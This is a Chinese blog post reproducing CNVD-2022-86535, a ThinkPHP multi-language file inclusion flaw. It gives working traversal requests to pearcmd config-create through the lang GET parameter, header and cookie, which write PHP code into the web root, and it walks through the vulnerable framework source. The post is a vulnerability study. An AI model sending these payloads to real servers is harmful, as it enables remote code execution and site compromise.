【漏洞复现】CNVD-2022-86535-ThinkphpV6多语言

这篇具有很好参考价值的文章主要介绍了【漏洞复现】CNVD-2022-86535-ThinkphpV6多语言。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

漏洞原理

        ThinkPHP在开启多语言功能的情况下存在文件包含漏洞,攻击者可以通过get、header、cookie等位置传入参数,实现目录穿越与文件包含组合拳的利用,通过pearcmd文件包含这个trick即可实现RCE。

关于pearcmd

        pecl是PHP中用于管理扩展而使用的命令行工具,而pear是pecl依赖的类库。
在7.3及以前,pecl/pear是默认安装的;在7.4及以后,需要我们在编译PHP的时候指定–with-pear才会安装。
        在Docker任意版本镜像中,pcel/pear都会被默认安装,安装的路径在/usr/local/lib/php。

影响版本

        6.0.1 < ThinkPHP ≤ 6.0.13
        5.0.0 < ThinkPHP ≤ 5.0.12
        5.1.0 < ThinkPHP ≤ 5.1.8

漏洞指纹

        header=“think_lang”

环境搭建

https://github.com/vulhub/vulhub/commit/34fca0ce1bd144d67b01540594f9764f65497e94#diff-a467569d1059d94152dc2adfef31fe2a8272b9b0982a61624da79f3f6e331e95

漏洞复现

docker -compose up -d  
dockers ps 查看进程
docker exec -it ID bash 查看进程路径
/index?lang=…/…/…/…/…/…/…/…/usr/local/lib/php/pearcmd&+config-create+/&/+/var/www/html/test.php


        经过…/的尝试发现当…/个数超过7个时,响应界面发生变化,即利用成功。

【漏洞复现】CNVD-2022-86535-ThinkphpV6多语言,漏洞复现,php,开发语言,web安全,学习方法

        当前…/个数为6个,查看是否写入

【漏洞复现】CNVD-2022-86535-ThinkphpV6多语言,漏洞复现,php,开发语言,web安全,学习方法

        当…/个数为8个时

【漏洞复现】CNVD-2022-86535-ThinkphpV6多语言,漏洞复现,php,开发语言,web安全,学习方法

        查看是否利用成功

【漏洞复现】CNVD-2022-86535-ThinkphpV6多语言,漏洞复现,php,开发语言,web安全,学习方法

        cookie处的构造

【漏洞复现】CNVD-2022-86535-ThinkphpV6多语言,漏洞复现,php,开发语言,web安全,学习方法

【漏洞复现】CNVD-2022-86535-ThinkphpV6多语言,漏洞复现,php,开发语言,web安全,学习方法

        经过逐个添加发现也是在第8个发生变化,通过不通的环境得出…/的个数与目录层数相关。

【漏洞复现】CNVD-2022-86535-ThinkphpV6多语言,漏洞复现,php,开发语言,web安全,学习方法

【漏洞复现】CNVD-2022-86535-ThinkphpV6多语言,漏洞复现,php,开发语言,web安全,学习方法

进行包含利用

【漏洞复现】CNVD-2022-86535-ThinkphpV6多语言,漏洞复现,php,开发语言,web安全,学习方法

漏洞分析

config-create

require_once 'PEAR.php';
require_once 'PEAR/Frontend.php';
require_once 'PEAR/Config.php';
require_once 'PEAR/Command.php';
require_once 'Console/Getopt.php';

        这里所需要用到的config-create处于–>config.php中,因此,攻击条件同时需要满足pecl/pear为已安装状态。根据这里的exp,这里利用了config-create,config-create的作用–>create a default configuration file,也就是创建默认的配置文件,并且在此处的文件路径进行传参,写入这个文件中。

GET /?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=phpinfo()?>+xxx.php HTTP/1.1

        config-create的作用–>create a default configuration file 

【漏洞复现】CNVD-2022-86535-ThinkphpV6多语言,漏洞复现,php,开发语言,web安全,学习方法

开启多语言

【漏洞复现】CNVD-2022-86535-ThinkphpV6多语言,漏洞复现,php,开发语言,web安全,学习方法

        由于这个的攻击条件是要开启多语言功能,于是,去搜索了下这个多语言功能是如何开启的,大概就是,会在中间件middleware中添加,再接着通过detect来探测是否具有lang这个包来返回多语言的功能是否开启。通过学习得知,在这个中间件middle这,会调用handle()函数,于是这里查看了下被引用的地方,也就是loadlangpack.php这。

多语言功能包–>langpack

【漏洞复现】CNVD-2022-86535-ThinkphpV6多语言,漏洞复现,php,开发语言,web安全,学习方法

public function handle($request, Closure $next)
    {
        // 自动侦测当前语言
        $langset = $this->detect($request);


        if ($this->lang->defaultLangSet() != $langset) {
            $this->lang->switchLangSet($langset);
        }


        $this->saveToCookie($this->app->cookie, $langset);


        return $next($request);
    }

        因为在之前已经得知是通过探测的方法,直接定位detect,detect–>可以看到依次排查了 GET[“lang”] 、HEADER[“think-lang”] 、COOKIE[“think_lang”] ,并且其中不含过滤代码,直接赋值给了 $langSet : 那么langset 这个值便是可控的了

protected function detect(Request $request): string
   {
       // 自动侦测设置获取语言选择
       $langSet = '';

       if ($request->get($this->config['detect_var'])) {
           // url中设置了语言变量
           $langSet = strtolower($request->get($this->config['detect_var']));
       } elseif ($request->header($this->config['header_var'])) {
           // Header中设置了语言变量
           $langSet = strtolower($request->header($this->config['header_var']));
       } elseif ($request->cookie($this->config['cookie_var'])) {
           // Cookie中设置了语言变量
           $langSet = strtolower($request->cookie($this->config['cookie_var']));
       } elseif ($request->server('HTTP_ACCEPT_LANGUAGE')) {
           // 自动侦测浏览器语言
           $match = preg_match('/^([a-z\d\-]+)/i', $request->server('HTTP_ACCEPT_LANGUAGE'), $matches);
           if ($match) {
               $langSet = strtolower($matches[1]);
               if (isset($this->config['accept_language'][$langSet])) {
                   $langSet = $this->config['accept_language'][$langSet];
               }
           }
       }
if (empty($this->config['allow_lang_list']) || in_array($langSet, $this->config['allow_lang_list'])) {
           // 合法的语言
           $this->range = $langSet;
       }


       return $this->range;

        默认情况下,allow_lang_list 这个配置为空,$langSet 被赋值给 range,将range,将range 返回。
        在loadlangpack里发现:

 public function handle($request, Closure $next)
    {
        // 自动侦测当前语言
        $langset = $this->detect($request);

        if ($this->lang->defaultLangSet() != $langset) {
            $this->lang->switchLangSet($langset);
        }

        $this->saveToCookie($this->app->cookie, $langset);

        return $next($request);
    }

【漏洞复现】CNVD-2022-86535-ThinkphpV6多语言,漏洞复现,php,开发语言,web安全,学习方法

this->load

public function switchLangSet(string $langset) 
    {
        if (empty($langset)) {
            return;
        }


        // 加载系统语言包
        $this->load([
            $this->app->getThinkPath() . 'lang' . DIRECTORY_SEPARATOR . $langset . '.php',
        ]);


        // 加载系统语言包
        $files = glob($this->app->getAppPath() . 'lang' . DIRECTORY_SEPARATOR . $langset . '.*');
        $this->load($files);


        // 加载扩展(自定义)语言包
        $list = $this->app->config->get('lang.extend_list', []);


        if (isset($list[$langset])) {
            $this->load($list[$langset]);
        }

$langset-->$this->config["detect_var"="lang"]
 

include file

protected function parse(string $file): array
    {
        $type = pathinfo($file, PATHINFO_EXTENSION);


        switch ($type) {
            case 'php':
                $result = include $file;
                break;
            case 'yml':
            case 'yaml':
                if (function_exists('yaml_parse_file')) {
                    $result = yaml_parse_file($file);
                }
                break;
            case 'json':
                $data = file_get_contents($file);


                if (false !== $data) {
                    $data = json_decode($data, true);


                    if (json_last_error() === JSON_ERROR_NONE) {
                        $result = $data;
                    }
                }


                break;
        }


        return isset($result) && is_array($result) ? $result : [];
    }

其他方法

download -->pear download [option] [package]

漏洞修复 

​​​​​​​https://www.thinkphp.cn/文章来源地址https://www.toymoban.com/news/detail-646617.html

到了这里,关于【漏洞复现】CNVD-2022-86535-ThinkphpV6多语言的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • ThinkPHP 多语言模块RCE漏洞复现

    ThinkPHP,是为了简化企业级应用开发和敏捷WEB应用开发而诞生的开源轻量级PHP框架。最早诞生于2006年初,2007年元旦正式更名为ThinkPHP,并且遵循Apache2开源协议发布。ThinkPHP从诞生以来一直秉承简洁实用的设计原则,在保持出色的性能和至简的代码的同时,也注重易用性。并且

    2023年04月22日
    浏览(39)
  • CVE-2022-30887漏洞复现

    多语言药房管理系统 (MPMS) 是用 PHP 和 MySQL 开发的, 该软件的主要目的是在药房和客户之间提供一套接口,客户是该软件的主要用户。该软件有助于为药房业务创建一个综合数据库,并根据到期、产品等各种参数提供各种报告。 该CMS中php_action/editProductImage.php存在任意文件上传

    2023年04月08日
    浏览(33)
  • 漏洞复现 | Apache Shiro 授权绕过漏洞(CVE-2022-32532)

    0x00 漏洞描述         Apache Shiro 是一套用于执行认证、授权、加密和会话管理的 Java 安全框架。2022年06月29日 APache 官方发布了一则关于 Apache Shiro 的安全通告,Apache Shiro 1.9.1 前的版本 RegExPatternMatcher 在使用带有 “.” 的正则时,可能会导致权限绕过。漏洞源于 RegExPatter

    2024年02月02日
    浏览(32)
  • CVE -2022-26134漏洞复现(Confluence OGNL 注入rce漏洞)

    0x01 Atlassian Confluence Atlassian Confluence是一个专业的企业知识管理与协同软件,主要用于公司内员工创建知识库并建立知识管理流程,也可以用于构建企业wiki。其使用简单,但它强大的编辑和站点管理特征能够帮助团队成员之间共享信息、文档协作、集体讨论,信息推送。因此

    2024年02月16日
    浏览(34)
  • Nftables栈溢出漏洞(CVE-2022-1015)复现

    背景介绍 Nftables 是一个基于内核的包过滤框架,用于 Linux操作系统中的网络安全和防火墙功能。nftables的设计目标是提供一种更简单、更灵活和更高效的方式来管理网络数据包的流量。 钩子点的作用是拦截数据包,然后对数据包进行修改,比较,丢弃和放行等操作。 Nftable

    2024年02月12日
    浏览(29)
  • CVE-2022-33891漏洞原理、环境搭建和复现

    最近有幸参与了某地市的攻防演练,在扫描器漏洞都被提交了之后,大杀器也逐渐开始浮出水面,其中就包含今天的主角:apache spark的rce。 Apache Spark 是专为大规模数据处理而设计的快速通用的计算引擎。与 Hadoop 不同,Spark 和 Scala 能够紧密集成,其中的 Scala 可以像操作本地

    2024年02月13日
    浏览(25)
  • Cacti命令执行漏洞复现(CVE-2022-46169)

    Cacti项目是一个开源平台,可为用户提供强大且可扩展的操作监控和故障管理框架。在1.2.22版本中存在一处命令注入漏洞,攻击者可以通过X-Forwarded-For请求头绕过服务端校验并在其中执行任意命令。漏洞编号:CVE-2022-46169,漏洞等级:严重。 影响版本 Cacti == 1.2.22 不受影响版本

    2024年02月02日
    浏览(72)
  • Microsoft Office MSDT代码执行漏洞(CVE-2022-30190)漏洞复现

    本文章仅供学习和研究使用,严禁使用该文章内容对互联网其他应用进行非法操作,若将其用于非法目的,所造成的后果由您自行承担,产生的一切风险与本文作者无关,如继续阅读该文章即表明您默认遵守该内容。 该漏洞首次发现在2022 年 5 月 27 日,由白俄罗斯的一个 I

    2024年02月06日
    浏览(36)
  • CVE漏洞复现-CVE-2022-22965-Spring-RCE漏洞

    Spring framework 是Spring 里面的一个基础开源框架,其目的是用于简化 Java 企业级应用的开发难度和开发周期,2022年3月31日,VMware Tanzu发布漏洞报告,Spring Framework存在远程代码执行漏洞,在 JDK 9+ 上运行的 Spring MVC 或 Spring WebFlux 应用程序可能容易受到通过数据绑定的远程代码执行

    2023年04月21日
    浏览(47)
  • Django SQL注入漏洞复现 (CVE-2022-28347)

    ​ 在Django 2.2 的 2.2.28 之前版本、3.2 的 3.2.13 之前版本和 4.0 的 4.0.4 之前版本中的 QuerySet.deexplain() 中发现了SQL注入问题。这是通过传递一个精心编制的字典(带有字典扩展)作为**options参数来实现的,并将注入负载放置在选项名称中。 2.2 = Django 2.2.28 3.2 = Django 3.2.13 4.0 = Djan

    2024年02月05日
    浏览(78)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包